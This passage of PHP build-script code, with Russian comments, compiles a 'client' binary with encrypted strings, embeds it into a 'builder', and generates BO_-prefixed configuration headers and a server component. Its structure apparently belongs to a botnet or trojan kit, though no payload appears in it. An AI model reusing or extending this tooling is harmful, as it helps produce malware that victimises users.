} if (configBool('client_platforms')) { writeStep("BUILDING CLIENT"); writeFile($dir['source']['common'] . '\\generateddata.h', headerOfHfile() . generateBaseConfigHeader() . "\r\n" . generateInstallData()); generateCryptedStrings($dir['source']['client'] . '\\cryptedstrings'); //Сборка. buildBinary('client', 0, true, true); //Создание данных для билдера. $client32 = ''; $client32 .= "#define CLIENT32_VA_BASECONFIG " . sprintf('0x%08X', getVaFromMap('client', 'win32', 'baseConfigSource')) . "\r\n"; $client32 .= "#define CLIENT32_VA_INSTALL " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_install')) . "\r\n"; //CoreInstall. $client32 .= "#define CLIENT32_VA_UPDATE " . sprintf('0x%08X', getVaFromMap('client', 'win32', '_update')) . "\r\n"; //CoreInstall. $client32 .= "const BYTE _client32[] =\r\n" . binFileToCArray($dir['output']['client'] . '\\' . $commandLineOptions['client']['win32']['name'], 0); writeFile($dir['source']['builder'] . '\\clients.h', headerOfHfile() . $client32 . "\r\n"); } if (configBool('builder_platforms')) { writeStep("BUILDING BUILDER"); buildBinary('builder', 1, true, true); writeStep("BUILDING SAMPLE CONFIGURATION FILE"); buildConfigSample($dir['output']['builder']); //Копируем лицензию, если она сущеcтвует. copyFileIfExists("{$configDir}\\license.key", $dir['output']['builder'] . '\\license.key'); } if (configBool('manual')) { writeStep("BUILDING MANUAL"); copyFile($dir['docs'] . '\\manual_ru.html', $dir['output'][0] . '\\manual_ru.html'); } if (platformEnabled('server', 'php')) { writeStep("BUILDING PHP SERVER");
function generateDefaultConfigHeader($adv_data) { $verClient = explode('.', $GLOBALS['config']['global']['versions']['client']); if (count($verClient) !== 4) { fatalError("Bad format of \"versions\"."); } $s = headerOfHfile() . "#define BO_CLIENT_VERSION 0x" . bin2hex(pack("CCCC", $verClient[0], $verClient[1], $verClient[2], $verClient[3])) . " //" . $GLOBALS['config']['global']['versions']['client'] . "\r\n" . "#define BO_NAME L\"" . BO_NAME . "\"\r\n" . "#define BO_BUILDTIME L\"" . BO_BUILDTIME . "\"\r\n\r\n"; $platforms_postfix_size = strlen('_platforms'); foreach ($GLOBALS['config'] as $k => $v) { if (!is_array($v)) { //Проверка не платформа ли это указана. if (strlen($k) > $platforms_postfix_size && strcmp(substr($k, -$platforms_postfix_size), '_platforms') == 0) { $platforms = @explode(',', $v); $v = !is_array($platforms) || count($platforms) == 0 || count($platforms) === 1 && empty($platforms[0]) ? 0 : 1; $k = 'BO_' . strtoupper($k); $s .= "#define {$k} {$v}\r\n"; foreach ($platforms as $sk) { if (!empty($sk)) { $s .= "#define {$k}_" . strtoupper($sk) . " 1\r\n"; } } } else { $v = is_numeric($v) ? $v : 'L"' . $v . '"'; $s .= '#define BO_' . strtoupper($k) . ' ' . $v . "\r\n"; } } } return $s . (empty($adv_data) ? "" : $adv_data); }